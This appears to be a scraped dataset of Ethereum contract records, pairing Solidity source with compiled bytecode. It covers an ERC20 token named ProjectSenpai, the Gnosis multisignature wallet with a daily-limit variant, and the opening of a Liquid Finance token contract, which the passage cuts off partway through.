* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
contract ProjectSenpai is ERC20 {
constructor () public ERC20("ProjectSenpai", "SENPAI") {
_mint(msg.sender, 21000000 * (10 ** uint256(decimals())));
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461012357806370a082311461013657806395d89b4114610149578063a457c2d714610151578063a9059cbb14610164578063dd62ed3e14610177576100a9565b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100ef57806323b872dd14610101578063313ce56714610114575b600080fd5b6100b66101b0565b6040516100c391906107e5565b60405180910390f35b6100df6100da3660046107bc565b610242565b60405190151581526020016100c3565b6002545b6040519081526020016100c3565b6100df61010f366004610781565b610258565b604051601281526020016100c3565b6100df6101313660046107bc565b61030e565b6100f361014436600461072e565b610345565b6100b6610364565b6100df61015f3660046107bc565b610373565b6100df6101723660046107bc565b61040e565b6100f361018536600461074f565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6060600380546101bf90610867565b80601f01602080910402602001604051908101604052809291908181526020018280546101eb90610867565b80156102385780601f1061020d57610100808354040283529160200191610238565b820191906000526020600020905b81548152906001019060200180831161021b57829003601f168201915b5050505050905090565b600061024f33848461041b565b50600192915050565b600061026584848461053f565b6001600160a01b0384166000908152600160209081526040808320338452909152902054828110156102ef5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61030385336102fe8685610850565b61041b565b506001949350505050565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161024f9185906102fe908690610838565b6001600160a01b0381166000908152602081905260409020545b919050565b6060600480546101bf90610867565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156103f55760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016102e6565b61040433856102fe8685610850565b5060019392505050565b600061024f33848461053f565b6001600160a01b03831661047d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016102e6565b6001600160a01b0382166104de5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016102e6565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166105a35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016102e6565b6001600160a01b0382166106055760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016102e6565b6001600160a01b0383166000908152602081905260409020548181101561067d5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016102e6565b6106878282610850565b6001600160a01b0380861660009081526020819052604080822093909355908516815290812080548492906106bd908490610838565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161070991815260200190565b60405180910390a350505050565b80356001600160a01b038116811461035f57600080fd5b60006020828403121561073f578081fd5b61074882610717565b9392505050565b60008060408385031215610761578081fd5b61076a83610717565b915061077860208401610717565b90509250929050565b600080600060608486031215610795578081fd5b61079e84610717565b92506107ac60208501610717565b9150604084013590509250925092565b600080604083850312156107ce578182fd5b6107d783610717565b946020939093013593505050565b6000602080835283518082850152825b81811015610811578581018301518582016040015282016107f5565b818111156108225783604083870101525b50601f01601f1916929092016040019392505050565b6000821982111561084b5761084b6108a2565b500190565b600082821015610862576108626108a2565b500390565b600181811c9082168061087b57607f821691505b6020821081141561089c57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea2646970667358221220c5599f2501a19cfcdad203c3d1b502dd28f23052bcd935a3a0725c5dd299094664736f6c63430008030033
|
{"success": true, "error": null, "results": {}}
| 6,059 |
0x42c1b347c470d746d096e3b1420a31b29f35291a
|
pragma solidity ^0.4.14;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="9deee9f8fbfcf3b3faf8f2effaf8ddfef2f3eef8f3eee4eeb3f3f8e9">[email protected]</a>>
contract MultiSigWallet {
uint constant public MAX_OWNER_COUNT = 50;
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
modifier onlyWallet() {
if (msg.sender != address(this))
throw;
_;
}
modifier ownerDoesNotExist(address owner) {
if (isOwner[owner])
throw;
_;
}
modifier ownerExists(address owner) {
if (!isOwner[owner])
throw;
_;
}
modifier transactionExists(uint transactionId) {
if (transactions[transactionId].destination == 0)
throw;
_;
}
modifier confirmed(uint transactionId, address owner) {
if (!confirmations[transactionId][owner])
throw;
_;
}
modifier notConfirmed(uint transactionId, address owner) {
if (confirmations[transactionId][owner])
throw;
_;
}
modifier notExecuted(uint transactionId) {
if (transactions[transactionId].executed)
throw;
_;
}
modifier notNull(address _address) {
if (_address == 0)
throw;
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
if ( ownerCount > MAX_OWNER_COUNT
|| _required > ownerCount
|| _required == 0
|| ownerCount == 0)
throw;
_;
}
/// @dev Fallback function allows to deposit ether.
function()
payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
if (isOwner[_owners[i]] || _owners[i] == 0)
throw;
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param owner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction tx = transactions[transactionId];
tx.executed = true;
if (tx.destination.call.value(tx.value)(tx.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
tx.executed = false;
}
}
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
/// @title Multisignature wallet with daily limit - Allows an owner to withdraw a daily limit without multisig.
/// @author Stefan George - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="cdbeb9a8abaca3e3aaa8a2bfaaa88daea2a3bea8a3beb4bee3a3a8b9">[email protected]</a>>
contract MultiSigWalletWithDailyLimit is MultiSigWallet {
event DailyLimitChange(uint dailyLimit);
uint public dailyLimit;
uint public lastDay;
uint public spentToday;
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners, required number of confirmations and daily withdraw limit.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
/// @param _dailyLimit Amount in wei, which can be withdrawn without confirmations on a daily basis.
function MultiSigWalletWithDailyLimit(address[] _owners, uint _required, uint _dailyLimit)
public
MultiSigWallet(_owners, _required)
{
dailyLimit = _dailyLimit;
}
/// @dev Allows to change the daily limit. Transaction has to be sent by wallet.
/// @param _dailyLimit Amount in wei.
function changeDailyLimit(uint _dailyLimit)
public
onlyWallet
{
dailyLimit = _dailyLimit;
DailyLimitChange(_dailyLimit);
}
/// @dev Allows anyone to execute a confirmed transaction or ether withdraws until daily limit is reached.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
notExecuted(transactionId)
{
Transaction tx = transactions[transactionId];
bool confirmed = isConfirmed(transactionId);
if (confirmed || tx.data.length == 0 && isUnderLimit(tx.value)) {
tx.executed = true;
if (!confirmed)
spentToday += tx.value;
if (tx.destination.call.value(tx.value)(tx.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
tx.executed = false;
if (!confirmed)
spentToday -= tx.value;
}
}
}
/*
* Internal functions
*/
/// @dev Returns if amount is within daily limit and resets spentToday after one day.
/// @param amount Amount to withdraw.
/// @return Returns if amount is under daily limit.
function isUnderLimit(uint amount)
internal
returns (bool)
{
if (now > lastDay + 24 hours) {
lastDay = now;
spentToday = 0;
}
if (spentToday + amount > dailyLimit || spentToday + amount < spentToday)
return false;
return true;
}
/*
* Web3 call functions
*/
/// @dev Returns maximum withdraw amount.
/// @return Returns amount.
function calcMaxWithdraw()
public
constant
returns (uint)
{
if (now > lastDay + 24 hours)
return dailyLimit;
if (dailyLimit < spentToday)
return 0;
return dailyLimit - spentToday;
}
}
|
0x6060604052361561011a5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663025e7c278114610165578063173825d91461019757806320ea8d86146101b85780632f54bf6e146101d05780633411c81c1461020357806354741525146102395780637065cb4814610268578063784547a7146102895780638b51d13f146102b35780639ace38c2146102db578063a0e67e2b1461039a578063a8abe69a14610401578063b5dc40c314610478578063b77bf600146104e2578063ba51a6df14610507578063c01a8c841461051f578063c642747414610537578063d74f8edd146105ae578063dc8452cd146105d3578063e20056e6146105f8578063ee22610b1461061f575b5b60003411156101625733600160a060020a03167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c3460405190815260200160405180910390a25b5b005b341561017057600080fd5b61017b600435610637565b604051600160a060020a03909116815260200160405180910390f35b34156101a257600080fd5b610162600160a060020a0360043516610669565b005b34156101c357600080fd5b61016260043561081a565b005b34156101db57600080fd5b6101ef600160a060020a03600435166108fc565b604051901515815260200160405180910390f35b341561020e57600080fd5b6101ef600435600160a060020a0360243516610911565b604051901515815260200160405180910390f35b341561024457600080fd5b61025660043515156024351515610931565b60405190815260200160405180910390f35b341561027357600080fd5b610162600160a060020a03600435166109a0565b005b341561029457600080fd5b6101ef600435610ad5565b604051901515815260200160405180910390f35b34156102be57600080fd5b610256600435610b69565b60405190815260200160405180910390f35b34156102e657600080fd5b6102f1600435610be8565b604051600160a060020a03851681526020810184905281151560608201526080604082018181528454600260001961010060018416150201909116049183018290529060a0830190859080156103885780601f1061035d57610100808354040283529160200191610388565b820191906000526020600020905b81548152906001019060200180831161036b57829003601f168201915b50509550505050505060405180910390f35b34156103a557600080fd5b6103ad610c1c565b60405160208082528190810183818151815260200191508051906020019060200280838360005b838110156103ed5780820151818401525b6020016103d4565b505050509050019250505060405180910390f35b341561040c57600080fd5b6103ad60043560243560443515156064351515610c85565b60405160208082528190810183818151815260200191508051906020019060200280838360005b838110156103ed5780820151818401525b6020016103d4565b505050509050019250505060405180910390f35b341561048357600080fd5b6103ad600435610db3565b60405160208082528190810183818151815260200191508051906020019060200280838360005b838110156103ed5780820151818401525b6020016103d4565b505050509050019250505060405180910390f35b34156104ed57600080fd5b610256610f35565b60405190815260200160405180910390f35b341561051257600080fd5b610162600435610f3b565b005b341561052a57600080fd5b610162600435610fc9565b005b341561054257600080fd5b61025660048035600160a060020a03169060248035919060649060443590810190830135806020601f820181900481020160405190810160405281815292919060208401838380828437509496506110bb95505050505050565b60405190815260200160405180910390f35b34156105b957600080fd5b6102566110db565b60405190815260200160405180910390f35b34156105de57600080fd5b6102566110e0565b60405190815260200160405180910390f35b341561060357600080fd5b610162600160a060020a03600435811690602435166110e6565b005b341561062a57600080fd5b6101626004356112a7565b005b600380548290811061064557fe5b906000526020600020900160005b915054906101000a9004600160a060020a031681565b600030600160a060020a031633600160a060020a031614151561068b57600080fd5b600160a060020a038216600090815260026020526040902054829060ff1615156106b457600080fd5b600160a060020a0383166000908152600260205260408120805460ff1916905591505b600354600019018210156107af5782600160a060020a03166003838154811015156106fe57fe5b906000526020600020900160005b9054906101000a9004600160a060020a0316600160a060020a031614156107a35760038054600019810190811061073f57fe5b906000526020600020900160005b9054906101000a9004600160a060020a031660038381548110151561076e57fe5b906000526020600020900160005b6101000a815481600160a060020a030219169083600160a060020a031602179055506107af565b5b6001909101906106d7565b6003805460001901906107c29082611505565b5060035460045411156107db576003546107db90610f3b565b5b82600160a060020a03167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a25b5b505b5050565b33600160a060020a03811660009081526002602052604090205460ff16151561084257600080fd5b600082815260016020908152604080832033600160a060020a038116855292529091205483919060ff16151561087757600080fd5b600084815260208190526040902060030154849060ff161561089857600080fd5b6000858152600160209081526040808320600160a060020a033316808552925291829020805460ff1916905586917ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e9905160405180910390a35b5b505b50505b5050565b60026020526000908152604090205460ff1681565b600160209081526000928352604080842090915290825290205460ff1681565b6000805b6005548110156109985783801561095e575060008181526020819052604090206003015460ff16155b806109825750828015610982575060008181526020819052604090206003015460ff165b5b1561098f576001820191505b5b600101610935565b5b5092915050565b30600160a060020a031633600160a060020a03161415156109c057600080fd5b600160a060020a038116600090815260026020526040902054819060ff16156109e857600080fd5b81600160a060020a03811615156109fe57600080fd5b6003805490506001016004546032821180610a1857508181115b80610a21575080155b80610a2a575081155b15610a3457600080fd5b600160a060020a0385166000908152600260205260409020805460ff191660019081179091556003805490918101610a6c8382611505565b916000526020600020900160005b8154600160a060020a03808a166101009390930a8381029102199091161790915590507ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25b5b50505b505b505b50565b600080805b600354811015610b615760008481526001602052604081206003805491929184908110610b0357fe5b906000526020600020900160005b9054600160a060020a036101009290920a900416815260208101919091526040016000205460ff1615610b45576001820191505b600454821415610b585760019250610b61565b5b600101610ada565b5b5050919050565b6000805b600354811015610be15760008381526001602052604081206003805491929184908110610b9657fe5b906000526020600020900160005b9054600160a060020a036101009290920a900416815260208101919091526040016000205460ff1615610bd8576001820191505b5b600101610b6d565b5b50919050565b6000602081905290815260409020805460018201546003830154600160a060020a0390921692909160029091019060ff1684565b610c24611559565b6003805480602002602001604051908101604052809291908181526020018280548015610c7a57602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610c5c575b505050505090505b90565b610c8d611559565b610c95611559565b600080600554604051805910610ca85750595b908082528060200260200182016040525b50925060009150600090505b600554811015610d4057858015610cee575060008181526020819052604090206003015460ff16155b80610d125750848015610d12575060008181526020819052604090206003015460ff165b5b15610d375780838381518110610d2557fe5b60209081029091010152600191909101905b5b600101610cc5565b878703604051805910610d505750595b908082528060200260200182016040525b5093508790505b86811015610da757828181518110610d7c57fe5b906020019060200201518489830381518110610d9457fe5b602090810290910101525b600101610d68565b5b505050949350505050565b610dbb611559565b610dc3611559565b6003546000908190604051805910610dd85750595b908082528060200260200182016040525b50925060009150600090505b600354811015610ebb5760008581526001602052604081206003805491929184908110610e1e57fe5b906000526020600020900160005b9054600160a060020a036101009290920a900416815260208101919091526040016000205460ff1615610eb2576003805482908110610e6757fe5b906000526020600020900160005b9054906101000a9004600160a060020a0316838381518110610e9357fe5b600160a060020a03909216602092830290910190910152600191909101905b5b600101610df5565b81604051805910610ec95750595b908082528060200260200182016040525b509350600090505b81811015610f2c57828181518110610ef657fe5b90602001906020020151848281518110610f0c57fe5b600160a060020a039092166020928302909101909101525b600101610ee2565b5b505050919050565b60055481565b30600160a060020a031633600160a060020a0316141515610f5b57600080fd5b600354816032821180610f6d57508181115b80610f76575080155b80610f7f575081155b15610f8957600080fd5b60048390557fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a8360405190815260200160405180910390a15b5b50505b50565b33600160a060020a03811660009081526002602052604090205460ff161515610ff157600080fd5b6000828152602081905260409020548290600160a060020a0316151561101657600080fd5b600083815260016020908152604080832033600160a060020a038116855292529091205484919060ff161561104a57600080fd5b6000858152600160208181526040808420600160a060020a033316808652925292839020805460ff191690921790915586917f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef905160405180910390a36108f2856112a7565b5b5b50505b505b5050565b60006110c8848484611406565b90506110d381610fc9565b5b9392505050565b603281565b60045481565b600030600160a060020a031633600160a060020a031614151561110857600080fd5b600160a060020a038316600090815260026020526040902054839060ff16151561113157600080fd5b600160a060020a038316600090815260026020526040902054839060ff161561115957600080fd5b600092505b6003548310156112015784600160a060020a031660038481548110151561118157fe5b906000526020600020900160005b9054906101000a9004600160a060020a0316600160a060020a031614156111f557836003848154811015156111c057fe5b906000526020600020900160005b6101000a815481600160a060020a030219169083600160a060020a03160217905550611201565b5b60019092019161115e565b600160a060020a03808616600081815260026020526040808220805460ff199081169091559388168252908190208054909316600117909255907f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b90905160405180910390a283600160a060020a03167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25b5b505b505b505050565b600081815260208190526040812060030154829060ff16156112c857600080fd5b6112d183610ad5565b15610813576000838152602081905260409081902060038101805460ff19166001908117909155815490820154919450600160a060020a03169160028501905180828054600181600116156101000203166002900480156113735780601f1061134857610100808354040283529160200191611373565b820191906000526020600020905b81548152906001019060200180831161135657829003601f168201915b505091505060006040518083038185876187965a03f192505050156113c457827f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a2610813565b827f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260038201805460ff191690555b5b5b5b505050565b600083600160a060020a038116151561141e57600080fd5b600554915060806040519081016040908152600160a060020a0387168252602080830187905281830186905260006060840181905285815290819052208151815473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0391909116178155602082015181600101556040820151816002019080516114a992916020019061157d565b506060820151600391909101805460ff191691151591909117905550600580546001019055817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a25b5b509392505050565b815481835581811511610813576000838152602090206108139181019083016115fc565b5b505050565b815481835581811511610813576000838152602090206108139181019083016115fc565b5b505050565b60206040519081016040526000815290565b60206040519081016040526000815290565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106115be57805160ff19168380011785556115eb565b828001600101855582156115eb579182015b828111156115eb5782518255916020019190600101906115d0565b5b506115f89291506115fc565b5090565b610c8291905b808211156115f85760008155600101611602565b5090565b905600a165627a7a72305820e3a08b3bfdab0421dfd9d743a3256f2585a9cbc6c93f303ec6c8c199c165bfb50029
|
{"success": true, "error": null, "results": {}}
| 6,060 |
0x56fdaafcc7e9cc66531f04898942b646638621c0
|
/**
*Submitted for verification at Etherscan.io on 2022-03-23
*/
//SPDX-License-Identifier: UNLICENSED
//Telegram: https://t.me/liquidfinance
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract LIQFIN is Context, IERC20, Ownable {
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
mapping (address => User) private cooldown;
uint private constant _totalSupply = 1e10 * 10**9;
string public constant name = unicode"Liquid Finance";
string public constant symbol = unicode"LiqFin";
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable public _TaxAdd;
address public uniswapV2Pair;
uint public _buyFee = 10;
uint public _sellFee = 15;
uint private _feeRate = 15;
uint public _maxBuyAmount;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap = false;
bool public _useImpactFeeSetter = false;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
